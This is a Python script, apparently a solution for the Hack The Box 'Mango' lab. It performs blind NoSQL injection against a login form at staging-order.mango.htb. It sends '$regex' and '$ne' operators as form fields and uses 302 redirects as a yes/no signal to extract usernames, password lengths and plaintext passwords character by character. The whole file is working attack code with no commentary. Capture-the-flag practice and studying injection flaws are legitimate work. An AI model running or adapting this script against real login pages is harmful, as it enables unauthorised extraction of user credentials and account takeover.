import string
import requests

url = "http://staging-order.mango.htb/index.php"
headers = {"Host": "staging-order.mango.htb"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\" + c  for c in string.punctuation]

def main():
    usernames = get_users()
    if usernames:
        print('Finished!')
        for username in usernames:
            password = get_password(username)
            print('{}:{}'.format(username, password))
    else:
        print('Not Found!')

def get_users():
    usernames = []
    payload = {"username[$regex]":"","password[$regex]":".*", "login":"login"}

    for c in possible_chars:
        username = "^" + c
        payload["username[$regex]"] = username + ".*"
        r = requests.post(url, data=payload, headers=headers, allow_redirects=False)
        if r.status_code == 302:
            print("username start with character:" + c)
            for x in range(0, get_username_length() - 1):
                for c2 in possible_chars:
                    payload["username[$regex]"] = username + c2 + ".*"
                    r2 = requests.post(url, data=payload, headers=headers, allow_redirects=False)
                    if r2.status_code == 302:
                        username += c2
                        print(username[1:])
                        break
                #if c2 == possible_chars[-1]:
            print("Found username: {}".format(username[1:]))
            usernames.append(username[1:])

    return usernames

def get_password(username):
    payload = {"username": username, "password[$regex]": "", "login": "login"}
    password = "^"
    
    for x in range(0, get_pass_length(username)):
        for c in possible_chars:
            payload["password[$regex]"] = password + c + ".*"
            r = requests.post(url, data=payload, headers=headers, allow_redirects=False)
            if r.status_code == 302:
                password += c
                print(password[1:])
                break
    password = password[1:].replace("\\", "")
    print("Found {}'s password: ".format(username) + password)
    return password

def get_username_length():
    length = 1
    while True:
        payload = {"username[$regex]": ".{{{}}}".format(length), "password[$ne]":"", "login":"login"}
        r =requests.post(url, data=payload, headers=headers, allow_redirects=False)
        if r.status_code == 302:
            length += 1
        else:
            return length -1

def get_pass_length(username):
    length = 1
    while True:
        payload = {"username": username, "password[$regex]": ".{{{}}}".format(length), "login": "login"}
        r = requests.post(url, data=payload, headers=headers, allow_redirects=False)
        if r.status_code == 302:
            length += 1
        else:
            return length -1

if __name__ == '__main__':
    main()